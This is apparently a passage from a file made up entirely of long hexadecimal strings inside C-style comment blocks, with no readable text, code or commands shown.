f83ea7a6924db254aaf82e59958fa45abf95a52e212906bef84353b3f5a7d1bf76f7b6d44752f5766a1493725d88db0736a85ce5853a716782d1fba2ba8f48833f9af02914967a0f43358080d694a2502a3f1abc4e3b633ed4444e9e7782245f83a0f46807e72ea8a3c30c06a1ef7808ffd2787538f685a244fdb100224d32db0ec6635720eb830da19f88faee490e468cb788d5e6ecb43d8b1a177e181341d693800a846f0157c75cc29f7be805516ef2dce0e3ea7fd428646ff744a7e59f936f8294d8eee50421eb137ed0b35c19967a689a6daae45bccbd171e7032e84a1d183528dec05c0193677d3061f5e1b76ae64e4b7555158d388ea2ad5e02fe64cc4f3d460640fedff0ec0e2c857c14c6b16607c612ff244dbb09df96b770847e787ef39101a9a0ec937df1fba84da85f2130c711a2f56970ec5257ea998299fda75f85f0fc46bab66c6bbeb55c724ce55cf01f1d69f6fc06583a010f744e8df9686896e89561ac7b9d492e8a584b89faf35afc3d9c1c8d8dfa1c2e595ce7b64e382329c9d80dbccd21e38b1df5bdbd772f06661c6e0a39db5414cb19c4fcf1aaa5dff9bfc5870bbeae74c3a712771769f224b1c1e6396b8a47ffbe9d5ceaf07dc6ea82008761aa15482cd521ff3a8212491b7581dd14ebadefc6faec81ad3d9a3be07713a5e0a85865441db48a7e9d45976bf57dc5853dce94b30350b50b6a7e48adbe4bfc45d617b5c5360ddc3c3201c4eee398fd9dd01037de1619d6f12e7fea5f2fd54f0e807a5f64446722fd1473506e9bab040d53413dcb410ec87fc3744cbb5460553e056510dbe286ec029e9d758ea4fcd30cc5c5671b36b4a9830de52b4ca10cd2ff12dd948d1d030130465d1d678aac1541a594a298170096eed65979f92d4767705f8364831d52e04c3997526d372f05bdb27cd03e2df7f5ef6b39ec10fc3cee8c592cbc5092af67654ae050d957fd4f573f5cb96a5fbbc449693489f7cdff64c53ed7a528021a200c89c5de3c77b665f5ef7da6240d07fd4bd555e63b40d7b46ec8c41090f71af78fd8e73ae87b0738b76a7a69f94abae56d361ab85f17918ce2c4ca63c6ed1af1bd262b2c532e6994481e28ee7b0dd0dfb0e95cd9ab63b85df0c9409995b386f712ca5882704521b1dbb4523b1f72c59a999aaaa80*/
/*a217a593ff40b96403a2a94b4037010b9eb728776daa7a3107e44d1eac34908c54569dbcc1f0340fa402fca91e81081cd41810fc88722a7262f2d2869d623f85692f6112cc06d821d59760055b9eeedd8b7e79d70745a306ff4fcfab4fa00a0c4ed61f9350fe6c47ead52dbafff615f10d5f2cd53263ce3415432f75b7bef9f6ee4bdee9b82715a81a00a491aa9cb4ff6d476b0a32b8577efb0918b77b8d6fe8518c8152c4c5032f55d48a31fe83be73e5160b31b5ddf243d14dd1adc85098524657e1537b0ff0af7b6e66d6baa4d4777dcb1513a0b8a7c56f4ae98a12e1d70b7f811577b8795978d9b55d28a343e2d6397a97785c488b80d58c0bfe9c7d5e824ef691aed68d38be79542a13701f4902d18ea8b4100d29769b358ac1ebce2cc0597837dbe56419c5ec85ce602a8b28b4200cb60c854b05350f16a2d4e36a28042a92b44049b18b0d490ad79332105c6f674ee9430c4569f91719fa9084794bd2e5dd4b109e268bbf32314eb6593b1b6cf147659eeea9acf64c94741778193959923af83e9ef8080bee89b8efcc310844a5f06f72648e7a683099fee865f30267fb9613ce70bed8f827d28300d4e86f858c7e0b1a6d745f5b70e95df32f6818435e14afad5e5b146e81c648fafe9202b780aaead80e4f00ab6181653a899df0db3b388f119f5277b257e9fc988b616dcb65214ff2c1be07d8176a329b0583bc3e6e1fbc4b86a728cd84b3a47b7919c0a30ca9f9b2b84315800165c10dd02d25cbd40899d5b26a08e6ebc7fa5664cb31eea900b5d04562da7fa866faa27ba65e8fad73fed0b3213c06429cdd066e0cfedf3596dbc805b9a24fa3b450e3c91d81320ccb1994aa3dd30df7e03d4426d37384bebebb0c938bcc09172859f05b0928c67884aee7106d659639f73fee09c9125369f6a75e65f0d5f2ef6b13945d80730b443beb568104f2cd5d7c98392ec66b59b7307a91e8983b18d073a6c6db354a791cd22d0c0f38434dd0c16b4c49535274c9a7697c376e905826afb023f23c58f865906f18b27776c7601f5fdc7e890a88f919814c007b9499e615b0766e4e18f38d76d04795e3a06e980ac19030603000b36e1f1c3d39a2c760f0254c617869c368a4cce491c477d520c71107636c07b5e947373ab75de6795515cf421bb2cbd4691f1c1c4b8a6ec6b253722cf1a9247aa902c049cb6dfd66f278f46bd8be24490ed59a0781b12149fb1d4fc0e359f40818d7768612716118c7214ea13b37d1e2a5f2f48b393ef14761ac05c6463cada6ea8aa7153f235c077849be700b754b19717f27f87bae4f898bff5b5b7a401e446ad8aff37e6bcf9b65c6f255b2cf36335389ab18233a1498a2e41a9c614f9cc3f2b6b2d028acf4e0261bc69cc8b6c50e579ab90026e996bcf197ce06fbf963c0564097cf5662a37f5a53d9c628ca6b31fcffb2adc7a1c75308c3859db7ac6bb60a31d4904c1bfc5acbd8eaf46e331c075c97c8286d91473995e58c35e7b524b12f1bc8bbe3f776ddd35a7081135959fa2b8aa58bccb8f54689114ec445312e048655143a2e02e58ceaf8114fcc7f48c8a36d51d0a8d82ae24de374008c944cec49737e60f15e1abc86418a3c3e88beeec44490d359110318721cb0c1132703f67be2b155eac5030ae455c0c499a65958c313eb62f41b6a9b47a3288b4055b2b1564a4d81849fbe2b0a608826b09c7a7f36aff476c05f2e7e41542527b7e1adfdfd5dc021703d3850779cad4c5d97b9a3de0b2d97af98c1fb50d7043f6dea6615aac4a04b8c35dcfcebaee3ea96b846ece159908eb5b49c2b9c084a63a7516a89d0158368c71b27a4dc80942c8e0bd613855c934d7e37c3b1b267d3064cc4a80ea5b31439982076c44dbf451f67a9b94544c571cddd74c95ca658f1d6ac8f4646aeb2b4377dd1b7581302c6224d874c6bfa3d04fdf2cf74aeed6df50f358dd3c2eb921dad0d36698a62ce823c1e01626cb005a21a0bf01c4a2067043fdfd9a11c21ccaa3d7cb595a85eefc6e3dc469ecfe49f911f6bd9e70402b2f75f5faed42796ea6a2ea48e74acbffc37276df9e2228843abbdda9156c9b9ae5db4e43b19dc52e241f193e361baeba34c54e5fa4379a6f011f663e5934b7f4b61367e333c992cc50a504fb91d177cc5cc30a9b3faf413a74e375a1a2035e6e87647c03aadc99b3c84172acd80d44f9b3c71132d11b1554c8cec91b101512b800af21cc42e7d8ae241fa070e128a3392b7a6c80d8f5b6f624a458a8bed525ad10b50270b16d1ddd58a6cab780d118e65a832e025465c115e8dfd56c1389308135534cbfa20a5c61627cb4bcdf256f2a618b47b0ba62822e82201d6f9c12bb59fc0224b602e45e69bb552f2ebc18506db60557585aae71420a4e8da10dfd8fdb5f168ec6da738a77b65a67232a83d6fa4fe8d38c99b1588027619c868bb8aacb0b45469b7e3292955b60ad282b7e2bc3213f4b6ba2fa04147ce84b0fb815d8b9bbdeb9aac8c1e027c277a033238a0c39b8f471265495d26519ee6103866d117df515e6d79ea52aa3a3460454ebad3f9f7a29932e81436ddfb581a630d79e5362f748a71b6006825ec4107f21a7e93099b9ccd56d8ff39e9093d2644c81f4476a8523babda886da09a465d0316a0843a59c9761f6996fd102532f0417291180a0adb9e0acfea7af2173054fe1f513d6866d89fad6b4d6bb80c7f07327dc64905a5dfd5a1ed6ff3bd6e156a6f5dcbdd8066691b085e28f26daf87bb429cf75b17280bebbdefce93bc4a5b4f0a8636bcdf61203eb0166b7aa9e805442275eaee1b78d2f73f636cd1*/
/*9a2260e571c4dd8d33a02e482e24e013f893268bfedbdbd07653d19b871fa6f9ba5bd9946adfaa5443aab72dea45ca0f1448df0bd15a13da1dd584685ea2950dee9d35f99a626cb485fcc2045858e05a8f26f3de918d9cd4f5acd0be5566bca50dd71843f514acf75afa63d0ea778813b57d352f61a2cdbfc5424cc98bb0bf0401803e26e712834e418dc7195200c0641bc4de45980efd8f5be576cb0a1e3d78267ee7b8bd223f615343665c77ef2934f7271ed55e6eab8442549e533a7c705c78225409a060aa7007d3d9f2ce78c884fa4fcd211da12c0305fc73c2d535ead734c2d51b6be6b061252309ee769b430f047896128524bc7382060d6d98722220f8623bd32e40cd237cee12e6e617d4d1d80206bebcaa48a09d5ebd9f9980d0cbf7a76b0699fda5eec8a44ad282796459bcab7287ccf68f6ee5c4ba0f7c3771b63327986d5608ae5788dbac566e0bdb3e20a006b1d464a1f323b806a783deaf5e3302b7692f5ffbdf8c3fe57d4e15d15357a04a921f16a462234cf14ba1e81eb0e42cb7f2d46feb6c7f5a4e213878eaee79b384e18e0eaeee2680525a0c867d7b4fbc83987ad8b23223c9da9212d8eaa5e01222220965583a98e47665525ef0607237aa5fa6fcb0f66c33398a714947c2a8425dabe27e73930f5a93b5096d6ad9e68a0ba73d87f2e02495ce24da6dd6f91446f98181e8d91b9ae4ba3726662e307896db85c2a5390859ccdb69f9b016138291b50caa11a7f48e025b29d38acfbcedcc46a32fb9bc6fa81394b4b21db430c2190ea520d25fbe3f197137ff56c0d068b32996e07a9ee0be570cea69d6aeb5185e9852f52481c8b2dcc80dbe4bc19499e7d8e58646af3648d51cb5324ebfb76be5925a814f8c31994c8fde69dac4c8ce650f41cee71f4a73149e5d0dd127ab1cd7f72b2d42ff12711e9e1100c5cde18c2ab6fab1d876a89f202f3fa6acb700b20fe241c2e94b7b5d1a9bc7cfa6feb903b3bd557161cdcd19c44423544451b0760c9f213243c526a41ab6d51e5ca50d4349cdc36bd5b2751060ecedee33cdc4dc3c06176a275452ae54d3ff574dbab4e4826a17b66b9a973fea38c882e49db7a90b525d899409c7285eeeae3ddf7349b0b6a289595836795e14f24aab7358347ee1f690369595d5ef88be149d41d268ccf422fe454896cc3aad3fcbc7d5b0b526cff48ee693101fda0d2fccdb1bb1e511dab27a6174f208ead0c53a52ade92215a5c4863a7fc26d93db4d56e65e6d3f642f0f94c333b04bd41d9cc5d05b35c5394a1fd07cf08b24c7a89010594cba7dd717bd414249282e442f2f5876677c3ac9961b68755c231e0b47937802d74e324d2cd9597ec51bd095010916e3aef9cc604d7b11f21d8ac1e1c473056fade5593eff7605fd698644afc70ab153c55facd665a5277d9bfff35c8d4a6847bf61091f427e0b3ad245a5aafe9c61c9b1ad2ddbfe9f3bfea474593d0eb6f614b3d303fce11e50b034e7a6e2e1f1ed6e05c238b0e8382e058a0c9e666073b14bd829d0be2a0191e8c5f5482318a7ed107474962608667c2011ace217c2fd3683cead45caca47814a2f0ce9577c42899fe6d46e0930d3d0414d805e0dcf806a0712759e5032dbbb78c64217bd6d9e3741a6fc9ce0b7ddc7d31c8ea5cef799df7e9c24bc6fd1f9f85faeed1c9664a7aee75fd97ac10bef69206a73c58512d864939f324b33abe19b6b17b8d8a96e4c92fbc45bfdd03bdbd7c2d14ae7c434b7ce8db407cb385cbed2d51afb0d23185005ae42ba004edfe5ce665efd74d8abb5b33f61b66f6be8b7a8690b248b70d2267ca861a1d0f37ecd8a99d91134cfb68db7aeacb303d14eb83094fe9045d7db8073ecbaf81e00b68840355d580321482e252c3f7063fbdb4ca5e6e1a03c20e951f9e36510bd3cbad276d667b72e3eaf909b7dd9269d1e0653ed71f5323916a7e80edfc4ec3086584aaf283b33e2036cb683942038cf40fb83b756686c14973d7ac394dc8babf3a0593e0af29997f9145a0d81c86d854ce7fa761557840a8a4c6eb4d939f76de797d8694d9b2091ee59624e3fad70d91f4ebd175304633d30ab7e31e9a37bdac1ec321a67deeec98d38598aea21720e8130fec4d004656cdc54f8d98e10ce1da58a065d831825587edea6570b7fcbd91abae524a1ee2f87c5778977ae5b9a48f7f6d6913f2a390812da53fc98353bc5f2b91ddc9dcba5c2507c0de29e5020b5838e6cbfdcca169b6067713274750c1582b1c85e2a3eaf12d11cba55715e707e22cc3edf4b0b0a04a7cf117b3d62ddc780bd6a759123c2b4f5fc2507a11e9939a98b103f7299f7f731d0496cb17ecb5014fa87082762ced457a3e915b260003edcf9b68b3a4301536c42c580d68697c01bccb104d2b9ce444bc68f2a5b5c2f118138b6f08c6fec425036cf35962b14f2fcf2e9eba9b92471eaa9c1dd9e38f994210bdaaa5a00f55e13b185a8df2c9eab390196b108b28df94067da2ac77951113b8d5bd0f4793f427fea14ebc1916ca6a84cc2fe36e060e18238c12e0bbfed5d5661add901b25671338d5516b8da0b887e4b5a847ee012256a8ce9f573e243d834002964ea6eb08a619c0f86c5fb91dc54ee5fe3f4c62966d35a9b6766081d79d858bb079f3be5a51203ffedfef3e3aedbbdfec7eb96efa3e5087477f9e84f1aa9bd37fabadc0beaa0352a2d22889feff32e66b6cda1daa7fbfa8332614d830fed81df53da7c35eae1faecdc3ae36736c33c3a0c0e7b55613ae4d29df340ef48f3ef9f9553ce8536745425db4538a359630deda0b39de36616cf758cb085f46b*/
/*37b7fcbe3bc50c699eab8c6e5011d08454e156b9811cc304a5caafffd523f61def9ddf8df852964d41c59493fdc737b6d38384f9b6c639b3531872408f364e9fc88f535f57f48629b46dc07e1ab8e2ef16e3776aee89c185b34b74b13440ab69b6da8468452ff65a29b87422a72798d3439fbc8f374f84270b5ded76d4979f53f3a3ac7ceea091721d7cf3e3155d319630b8591cad3175dafe5458944cb0d9bd763e6801ac61abbe03cabedb8ec186ebf2a3b9a81c3ebd8072af9aa2485d073061743c135bacb49f06fc45f5dc85f1d68432a627bba382992af3048f4406b372795da61b25928ec70678d26066389888ecc5c506e55ab811a107c24c5ba0d64edf574635baf6413940c49a499443a3e726e76153497ab14baaf9986834747a6405c26a2442e329ee3cd66f6887a1d08d77403454f86681f1dd6b477b69f6cedab62d43c10971f13713124a870da8dcdb05906942c767526564ec014c9551710b64af807edd4d92f7737994a9a7e4fabf57b791b183e36511dca962d0574099f37a8e9b7522f4a2a0b59a190d7416c04a3f6fbe14dd8f68976eaff9b9d9ad3ea0f9faa168f2b648337cc20fe142e83c218d52b9a0a8f942dc65500f743198626063d9ca9ea359fe89a3d53977578cbdd0601a4aab7be2745c46bb9b2b230057cf2eb31bee4696f4f8f5ef60c5237cb701dd7ed2f41376502cf291429b0d0de7658c89be1c0ad9f05a75c171ff056d0270471a86ef5322209f5f31c55be0f6d06ac35e54dc2c7ed808c6daa254d6012614ebc7e9e14d46d681d3e62c73840c12a6bbbb249ec9a0d8b7050d7314d8c6b42ca5a50f6ac94e36bc0c4ad638372ecf4477b12ed0fc9f1f4ba126c164b8bebfaa1b1008d179e7132d806726f32b41c40b3353772aac1713aa120dd6edb404c02b7bcb0c93f9d64efb4860bdfaceb0facef408831e11120d6a896b7f6d2795acd1204c80c30054913fb843fd8d04001441642bc8cacbe44c064f81f41677de3081eb02bd367908d34c84df8f75d5e9fd905d8ce6cd9f8662070b87166ae33787bcc031f67daf714e886809724ec197cbf7b9aa3238a9e99a83adab868bc423c9a24eba072260e4faa493d5354e827262f4b084f5b44358213110db0f094bafd6092de1c95d7bc40ef6c21aab6f7b0d956fba51a668bd26c44e6af5f4c7e8bc35fa3a11bb7d78eb618b60fb8197cd58b7c64603eac0dcd6176a0092dc4ca2b2b621a9710f4967222628277d71e8a39449cae375cdc0ca423021b281f2b57f361c35a58044c9d84fa269f2e338ea4636bc293aa51a6a0a70df12a66cc7a3089d96035c618f0f1d702f0b9393fbb4564705fa6bf0ee6b1e3b320eaf85804576f20f682f1a43bf41f36afaf93d3e5ea2b6f779d8f4e4243a727aa64e4c25925a5ae3d21be4a424a32497eae75cdff7aa18d987ae3c41b6d249fc1a867e24147f928585b731314eb8f6e37232467effedd94283a21d55a4d4dcb84cef8a98b4999863f0554c426006cb11a0d7374751f36c6852836b8e431ea8d426cf6efe750bf3ff5b435203d860d11c2d9a7392fec6217c79db3a72e51e6607285eb86b7496ca564201a486cfa81a71dce1607f262e4b3e9777f5e9a2422b10b0d87484cd0858f06b092d2805cd746cfdad02cc4c3b320ab3aebafe7d60b3497896fce91dc0990989306ea2b4277172ff4d7e010ef89aef451070825a870cd9dc2107d4cc3ab744f928eff47616a9d64384b3d9a71039599213dbc68e6a64d51ea528e7b09ed0786820888eb4f779d6df88c6fba7355a3423ef781f638059699860b2db4f0e8740c6e50e1c9e0eaef75d0870df8626de83d3da3f0b13f6f5d9a784ec785c7e071829e77448b8e4379cf9df5cab670d92f06732d7cd8ab7ccee4fa8a80a23092c4f8ea853b4f6165e20daaf9e1d97800a956a5877207ae8cd241cf29c56b48bf9fd8e4b9a32758b53e3987885c12ee857de96b59c7a39a207f868ef1d40a11e0640441492c2633ae69e55cda3904b8eb046108e89ed678f0fca7de4fb1af900065bd4712cdb22a976afeb501b720098589580ce1aabc405254362f551c8d1acc90878ae7cc1c03faa0b6e23ee630bc65bb52b675fde7a10dbcdac3163e6b9a2d31781026fcb3fab3646c386f9edaf75387298ed0d7ca152ffd6b1418437fae5e6e88f7b324e1dea3e668675efcf4fd31aa6966ad35a6c6bff72130b7b6cf835d3f51e1190aa9059aa0d1366343312c9d2b3a95cbae3726c1a72c6f2a72414b53cc0cef43173ac675c0bd99598adf144a13fa52a111f33e2a38f8c065489c30e7602c1fb18fe29abf86deac6c1fb21c3dd3ece2f74a0ca3f8b3b429e3b6ff963206f56e42fb40dd4fe5501db13c010685214e1b8dc526d2be347fbf484588d06f980e38b2d025acb679526856aa82ea684152451b47d2523686cfd36435a3e689ce8848e3ea23c4e756e18ffea178e5c6614bcaebd92ca1982d30e3ba1fbc3efc184b61eab47e62181f4a7f4a53afb9250bdf9ba7407ef8be42217a61ee864bc285f6dc6b7bc2b77a5bb24c612a96c9800dfcdd3e457968849b50cee28a171f6b864263f464103b4b76dde44a41c7dc0d25cde5f7ada187b11e4552dec3634f7482f14f3250fafc427b878f3be09f57fbfa344bf700121e445d15941ebdad3a9ae5423b67eaf7d4444065e02bdb07f86d04c90e787c3ddcb27803ba81cf85363a7ee0f0982e10d7d055b715a72517ac72bc1df459899f85ff4d724268d71a85ecfad82434f70876b8112491a0ebcfb33b31a8d2ebd73af084be5c7b61990f751f83a91*/
/*0812b56a46b8255bbff49605e70925e88be35c0d30cdf31934e33798218730bd7d898fd3b8e0f391f8503fcf0d30c2a8a63654bdb725ced76bc56f6d3a00dfa1fe918c8981879020facb441e87281028440037f2efa41dc224a160afe056f2acdcbd957d2c0d6b7a10fcf94f731800d56861a4fd7db8320c7ae04f8759954f40372a21f46a81303405a6073a39eca6bda855852b9d5ac29c9efa71a72b63a8d46cb0225c945bb3d1eb24ebc2a4f405ab2982c978759a53beb8651c4e7ff2c9c228353dc58ed32be655a7eddf4815aac3eb90575e03d8b46fdd9c7c5fcdeefe32beca00ecc321729fd35d29ffd49747c6b4b17eb2066f47355cf06842cd0c8c7cac688689561a75f809c3009fecbd75812e839dcb71f7353ebc55bc990ab7cc69edc40096fc83bd4511009b58cdc02bfcff49f8c42a1839b95110f49b88346fabccfc8f544c24ff090a25eae25b9cd6be88138f09b510a73da5f78fcca3b5175e04f644591d8cecc3a5d6deaf06c53fc669d55c2ff1262ff831a4022cb184ab9b0bf6daac822c0b7eff6d2019132dd6a657809d6a390bb3742a39fc730fdaa9fe2f496fb62fb6d224dd065be6fa4b0d5f68da3359c4db70794b1475c66c0931340b901487dc345c780319cf9d6d01e0ae2f6f04bfc17cf33ca65b2dbcb91d48bb728f3a530c4b8dc9bed022f8594a36972d48c712a3a3186a984e3741355d9c9d078c64940e2f548b253ca51f7fa07ec51214ae658abcc257ee8cad710b19c1c4353af06493a2479086a2e2ccc12306d9051c127ed41838977a59893d83435722887ad972ba460e7af91263d251833429041efbe048fc3bf369018a0a7538678186436eecb674adc6bc3c5ae02b20eb7b5706dd7876b02d112303db43646e7f27027a8e36a44bb69bf90954fe765568ba216972ac7adb001b0d824397c2dc53f4a862ff7073d38d811be8cd8b203d9db425491f6b29a3acfed387a26d3d1b4317fefb0a41c15d046fd84bcedac455d312dfe416bc5fd06cd7d2ca6fa9a4a487f9969bbc488c7664ecd5f5d13689ad2c02983d8621ff7a411e18c217722b215449e6ee6c13cf75d2e12c9b1e4a27eededace7b0ce8b6fe616e5cc65e6c83bad9576f72385980f87997cfb2ee37836832e60520e7d649b3301f1851dfcdfc5fb73f2a910948ec00a185d703e684f0768f5d12182842513858a8e35c943bf833236885da5422762cdea50431249a67066586b5c5adf484ea5349bbebd225e2f4fa03cd76d69558ed60c2c030438c889ff9d2db75a7a0faab83fc79d3502f080b3375d80860657c8249173cedc5f5f328664a2f9548693e1e3c94195f170a6e93986d85776b5ccb978886b34defb12af8ddcbf787bdfc170d3d32df12f3d2ae4a2f47e0802a02a2b48436163046e7bea3a84f68a547f4cd088bb29b67198d5a44ba464cd49ab5d08eba4965a334fbb2ca948577ed6d2df7c8170619a40fa8b0e69ee534b91a25dfb4506bcee94d13b2e49218ef66eb94358475fc600dd49ea445cb859d4719a611810f9d991bc1cb063c6cb204d79cf96801ef51da1808ccd127b3d0c6fe6d3d61c5373ba7b2e380d07f662ad9603e4b90cca728fad13b6ce990da0717af17638ac74c41267653f6b039243959dc036f976a0ae1e9a4d72c937b48af0adedb8c0c18bbe970b74c7f52481298e6d8fb5c2838cce438dea3b93bdfa2c9f89eac933a8295b4ade16ab6f42efc9c2f33aceb4bed2b59bb56b9cbdc41384d60e952e258a1e80301dba4af03a41fb0b7e0b373812f69282f4a6e08bdfaef1eebea5a8180fca612fe3470313a656b2caacc2e2eabe977bad3e7cd3c89f06f69c010ddbf882341563e390fc04e0fcdb3e0522a23953f713a9fbfc547864f21937382fb7e0dbd25e8d6b76f0f435a93135f1b6b9f1ea6a86824dd298910a918bafc08228e4cee9bbc9f8eb0d24067c5386d28d57dd011095258b1bc2d99eaef7b5de0eb9eb2bb4a8886bd9cfefe6c2a560e8ad72c7ed6e93179ea9ddfb0838717963c4667d82e91ee03a99dd60b111217c94a326530bdbf0e9487105abb70cd5e00cf8b3e5332ccc83a83dd8907cf83d873bb7aa87bc77d136dda929558637eeeeab70d8c895b175ca992833f3f4569dd93dbc5a9acdcca23dffae65ff83663e3670f9c374c805c8de3f207a7901388d41e5c0b4fae4db1dcd9c94a6e0c857f0d9125eb9a447a582584690aafd8dab0b2cf205e0605f7e0d7e6c3c059653ec8cffb2a0257c4ed82c617119b6e0c3db5055754d2366ef717a7307149f99ce189df19efb0c32a52fd370fb3b598db2d5c9cd0d68d8c8ebd6203d1503758a1010c098928c165215297834fda568f85cdd160958bdd7f7010631eae675f5710a011c62098874d6c35977c9c4994b2b3bd57e97c10b5d8eaac2a55c460c43ed7833ab8d4321c9fe3d70aa882f2ab4a3682b7da66fcae09bf6609b2c2e5667a640a2310dd9a86523f7c0a5e579609805af03b89d9de38df96a40cf7ce729e3736f71a05554969eb4ff112ae6267cccfcdf44ecf094994e69de7aef469f3b50f3dfb6c57b0e3268911fffac467460f014f53542173fed6e8ebf17361396d62231760d1b1a539a4434e214ab8f061dd86379b05408d6f76d42a8a837d7bf533726cc0af9c68352ee4f2edb1aa51ec54615c898cf2ee249ea98d4028a725dd57ed7ea340bb1c339c9aadb03eb45df9b9d08723984c2ac68a5e26097563a622f820170b4f4866a534e054ca40d87f4c45cae5d9b3c79749f2a6427596507299c63637a8471b54e7251f81b273f43b58f1654c3ca03f*/
/*118a9e033225a9b5539083e9f642b0fe59fa06edeb8d16fe2c2cb0461031d85d18636450e598de78928499eba7e053af775f7afb6546472324f5ba21b1ce93d7f597895378eebfddbdbe2db2e31ee7560e4aca5e2981516bc1cdb62f5bd475f688ee01da4e09b3ac5d4d73b754bf9cf906b26007ae9078461092edea696ad02a62de6d0f906dea8075b9bacd8bd41801160db948c281a22005b6a5b7ddf1c321ce165018ba07feb9c0684e9ab44c67fd5ef3f96278ed376ff5c32dcda2f17d711d4b6bb3687fbba66c9cfe1b21e6c123264640a88708396358a577750078978a80f88b885a0033fe147854c5d3fd013413ffd24490f14529f47bda8c52d2e7064e2e109bff6b48d50668f59fa271a55871104ad8a6354701b8ae45ef792f998c59b710ff5c770fd380f89d63ef51999fc6c2651a685e062c96c62e69af89aa03e5920b83f04511fff5ede1cfece5b1ef75d96217b864163b6ff126c0b9da9f8264115d337f62821d7a9ac787eaac59d58459dfac12575470c5b344930c6f1a72bdd6c06f390c9e31c9a2b5b226d07db115c010316ee85daa9b2a615c03881dc8e20c49312cbd5586b73054481527cb1dcf26dffa740de13093550f8d05d530a067f75d0a6b44da4426307f538373f6db74304886f03f138295be9814d28172d37ac36fb97645a44b29d5b55e428067098e8a8500efec596ca07ff96e909b1ad979f2b68d29e60082faac6478c9f922923896038256fe50377cf28bf830665d1bfeb73e6203be7cbedf8f31689a24f30dfa34061c7a7899b4270adfe96a7bef97731813eded067701cbf7da5f79ea51d7699240d0db18b8c97b3a01352c19557efa282bb49ea085a79b9272320cbb8af85004b4356b5867c2b55d1f2562c54657c9ac91c8ab57924dfe43113774cbe115d186dccd40f85ac7f7facaf8180d21225f8bee20f8766c48aeffc394f4d9c1cb3b15c47245739da7828e2da41437b8ba9640d47ac4b8fb57d8e6c9e129b599852957b8e3b387f78b7f48436713af369bd4d1d03b19eeab22999e027204d26bfe463ffd3c808d66730c0bde6a24845c2af199f7b4134929d3ba7e978f411fb06a685c72f64f0b099fed2b4e0337527cb1532cf7ed8fc8d945cef9e0546e0a20f1a92f0d68e4ab8776341e9009373e70f544f3100d3f675eeed1b42d8250abec3df35f1917a91db39a52bedde19cf00a03b3cfe9ddefab2f97e7666a1436f3e5a0870264b510ca62a712af2846bb5126c2748da514562668c942981265b56192899577cd2f6e76f79052ce273435936f41948ad2b8f33117b0daee0af792deac0e78de686e859c6f336a4321e78a20c08015ee4ca91d709fd2ea84cc0d634df838ef6b8a903434bf76df207a90ebf6494820ea23e3f33fa72b8acbf2195079dac997d5f02d98148bff843fe7cdf45955ef37603006d3f9c7bb5be0a31c9d6daad193364269a5d5a0b0ea7051d3e94ca91f1b914c46870d97f7b3e9399f6578fcc78c6d33e0013da0eb4221f7afb2c5a9c960b76857b4fc4b72cd8825e0a218baced4e700063e921467e6342b748136982eff9eeb00e8f7acb523e06271e2a8bc2ab59c7858e842d6f78a9df3ac9fe3416e3d314956a5bf6eab6c2e7cc6fa63607d95c2348df4f47f9fc2646807805a29be573eefb7ca9474937f0d99cab1805476e0c5a7a15bcbe759eff4d3c5cb47fdef64ded8cf99bfd09688ae4b759e9af076e8aeb4ffa4c6fdfdfade9e571b145c17a80d6afbc8ef9b8976188b89ef6f7a6f7aa34199643f49b3b95fd84d898d79ca37f1302e1f060167f85012180d2c0741f71c7d2b633c52b8a0b7247be7d7de5251dfcf53662b3ed4d17d72084ab31abfd939e0115f14bc83601c0b3cf712326847ae8cf08537f231433ed59f0f58dd64abe7afb768eea6fab9f4152feff3bde076dc011b4716673e2812fbcc43416decaa8ae1e38f5e190cf00cf816980b87aa6bd1bc6788f0349ec10fa790b09225f21ae6a20fc5a0802ae228d40892723f4d3ada77e11ec633df10a98c790ff532dd456bdaa88ab105af6e7425b2440b76632b7285dd3b2b532f53a9ec9090aca50ccb8cba1ddbb6ad1ec586a7fa6d2ebbf89e7244a0a5b70892e875d55d4fe4156a9c1ecce425469bda91ada3b1cdb751ab5bc0fb810701bc8a70279c5b151bf8a0a7ed98ed9e1d7321a5f28517ef12197600f2382b5064ad55da41e3aeeb6d92d745592d5f1ce8f6e1d79f40736215e4a5c36ff2bf07b8e98de94ea178e1512f4b3e2f9ca27435fccc9dffec485362589857b40e1d01e03cc2780c79c9844a814a5775e0297abb59ee0d1fd6820aef37738296abf6dcb6c8322cb0cf790e9a1a1f738c445d5b6752daff485681e781d2da2cb615c8f4de0a5878d17919d0f3de85378d6d194fae260612bc044156afcb80388ac6c7aba5c657799a421bb59c34ff77ce933dd4950e05f0dca8fd2e9e522e6006da6fc3320a8965d706e7808ac9801ce348f25981265bb2c74119c76436d22f6c0ba3d10b65277a6c7935ccdc7ae357fa74f303b94fb3c18e38d3a571270d054c9ea7f1c52134b963158e0e911baf6a54f5c435b0aaef0a5ed33f0fa949a26e97b828b798b2b7d8511a3cbf2a7fe39858ed3496c6358ca48e93317ec56897b8b71f83fb35c1415e4670d2b0d73a788589e37cd93f6f0fdc9c52ac6772723cd75c5c0d34a297c15c393e4fe3b8802999e3885736cb9256ef67eaf36be5a071f831133addbb71f12ac1946023f64dca756d0c4367beb301fbe22bc28932f3f1307a272b046b8a3422e07f2c5ba1bb12*/
/*0fdd88ee05b87266edddd98db5bbefdca81f51a12d21fcb9cfcb571728996272a41a829367d5caaa952830c607b4a2504cc36a3c244293a3d1dff28ce1187d55d6f021cbee425b507b4780ea751ea8256dd3558826f88c8d926af2b7512ad95857c233ea2874c408bd31a7e18cde22074edbc1be1d526fa9989bd6f53d9bf70b829e3d03f2d995c90114a64f2b6948d25de1d7c61f9bd75b549d314d9138f0e07f5404eff72a614fd558fb733fecb3b51da17690ca63a58219227fc1fe358e739d0d14379bf9625f8733dd3434f022861fbb9b1fb6209b9af86f83e3fbf5a5fbc1e410ac311369ccfa2f5658e594bace448657992cddc51a54518126191b7af7f09973ac09d402479a472de7c1e6366a3e99f00c3cfa51d9b35f4bde333f7f23cb8aa48b1e0faf196fb7b3de4bd2fffcbc18641249362e161de78dce7c1c1dc9582205d26da37285229a688e0195b56e2568fe6b6e71773a95c17c631eac3c54f765ab9aab4e3da7360a2c0da60f0b3b31b61bd0a2092cda9d1a5083f894fa24287761bf3d4cf662e66a94acd11ac24ed0a30095840e0fdac0b2148299161f0f1410ad8870c7952ea3ac5bd780ac907642fda0122591d2fac7ffe90ade9236c4b4646a732a56014ebf20341c8a3ff297a6c998c86db33e14339b37e416df9f221d0d3c9a95a1a1b9724b649adf500e6c0b7a6474f11fd9dc713dfda80555d5943b2216d0534d015c919ec6d23042c86317079246b30a29ef2a7a7e992f639968c3a1527be60566efed2e610adfe50b893578bb8551688a4138a1ac75f781e7ac201363d6d8b1bb95d7e670ec34f7f9ae8c0b75f87b6db0303be55c8c284eb8e0e82d2530ace10ec26e6225f44ff6dcba3730a7c759b3e41fe2f12882ff